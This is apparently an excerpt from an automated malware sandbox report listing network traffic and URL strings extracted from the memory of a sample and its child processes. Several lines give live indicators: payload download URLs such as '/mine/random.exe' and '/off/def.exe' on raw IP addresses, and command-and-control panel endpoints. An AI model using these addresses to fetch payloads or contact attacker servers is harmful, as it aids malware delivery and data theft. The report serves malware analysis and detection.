Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 00000024.00000002.2957011320.000001DF207D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2935278544.000001DF1ED63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2963308821.000001DF20ECE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2561696766.000001DF0EE6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000000.00000003.1510540713.0000000005722000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2502216813.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: file.exe, 00000000.00000003.1510713355.000000000111F000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2502216813.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2502216813.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeo
Source: file.exe, file.exe, 00000000.00000003.1510608776.0000000001133000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1510713355.000000000111F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1510777473.0000000001136000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2531603198.0000000000AFA000.00000004.00000010.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2502216813.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2503189441.0000000000E05000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2539286979.0000000000E0E000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000E05000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2502216813.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.1510713355.000000000111F000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2502216813.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: 100bc97ff1.exe, 00000013.00000002.2538505207.0000000000DDE000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2502216813.0000000000DDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee5
Source: file.exe, 00000000.00000003.1510713355.000000000111F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exet
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeBs
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: 76bf5a4dba.exe, 00000014.00000002.2351036059.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 76bf5a4dba.exe, 00000014.00000002.2351036059.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206-&O
Source: 76bf5a4dba.exe, 00000014.00000002.2351036059.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 76bf5a4dba.exe, 00000014.00000002.2351036059.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/3j
Source: 76bf5a4dba.exe, 00000014.00000002.2351036059.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp, 76bf5a4dba.exe, 00000014.00000002.2351036059.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: 76bf5a4dba.exe, 00000014.00000002.2351036059.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: 76bf5a4dba.exe, 00000014.00000002.2351036059.000000000101A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3W
Source: 76bf5a4dba.exe, 00000014.00000002.2351036059.0000000000FFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3zr
Source: 76bf5a4dba.exe, 00000014.00000002.2351036059.0000000000FE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpk
Source: 76bf5a4dba.exe, 00000014.00000002.2351036059.000000000101A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpwW
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.2525644664.0000000000DBF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php1002600001
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php38dedYf
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php=
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php?~:
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKw
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKwu
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpc~
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/d
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/d5f9df0b5dafc85062384760ac02b4ded8abeee1fbdf7a815502bb4be1#1003:
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/test.exe
Source: skotes.exe, 00000011.00000002.2525644664.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/test.exej
Source: file.exe, 00000000.00000003.1341423655.000000000582D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2283971165.000000000573D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2442693222.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1341423655.000000000582D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2283971165.000000000573D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2442693222.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 100bc97ff1.exe, 00000013.00000003.2329931380.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2252846404.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2357604902.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2284782172.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2269828204.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2304213166.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2325695916.0000000000D94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: 100bc97ff1.exe, 00000013.00000003.2329931380.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2252846404.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2357604902.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2284782172.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2269828204.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2304213166.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2325695916.0000000000D94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microj
Source: file.exe, 00000000.00000003.1510713355.000000000110D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftV/=
Source: file.exe, 00000000.00000003.1341423655.000000000582D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2283971165.000000000573D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2442693222.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1341423655.000000000582D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2283971165.000000000573D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2442693222.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1341423655.000000000582D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2283971165.000000000573D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2442693222.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1341423655.000000000582D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2283971165.000000000573D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2442693222.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1341423655.000000000582D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000013.00000003.2283971165.000000000573D000.00000004.00000800.00020000.00000000.sdmp, 100bc97ff1.exe, 00000015.00000003.2442693222.0000000005C21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000024.00000002.2973895907.000001DF225B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2970037590.000001DF2175D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2970037590.000001DF21750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2936173309.000001DF1EFE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000024.00000002.2926560740.000001DF1C8DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlLOAD_MEDIA_SNIFFER_OVERRIDES_CONTENT_TYPEBLOCKING_REAS
Source: firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 00000024.00000002.2961278274.000001DF20B55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 00000024.00000002.2561696766.000001DF0EE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 00000024.00000002.2544675991.0000015073B00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.o
Source: firefox.exe, 00000024.00000002.2544675991.0000015073B00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/aboutWelcomeBehavior
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGateRemote
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatmenthttp://mozilla.org/#/properties/bestMatchBlockingEn
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThresholdbrowser.newtabpage.activity-
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThresholdhttp://mozilla.org/#/propert
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabled_isBelowItemFrequencyCap/impressionsInPeriod
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/boolean
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value/additiona
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0http://mozilla.org/#/properties/appId
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value/additiona
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemshttp://mozilla.org/#
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1firefox-desktop-aboutwelcome-release-43
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/cbhStudyRow
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/cbhStudyUs
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channel
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/csvImport
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/disableGreaseOnFallback
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/disableGreaseOnFallbackWEBEXT_BACKGROUND_PAGE_LOAD_MS_BY_ADDONID
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreadshttp://mozilla.org/#/properties/ehPreconnect
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreads
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreadsPROT_ListManager.prototype.setUpdateCheckTimer/
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreconnectEnabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabledwebcompat
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enabled
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/endDate
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/extraParams
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds/itemsFirefox
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 00000024.00000002.2958766234.000001DF2091B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/filterFetchResponse
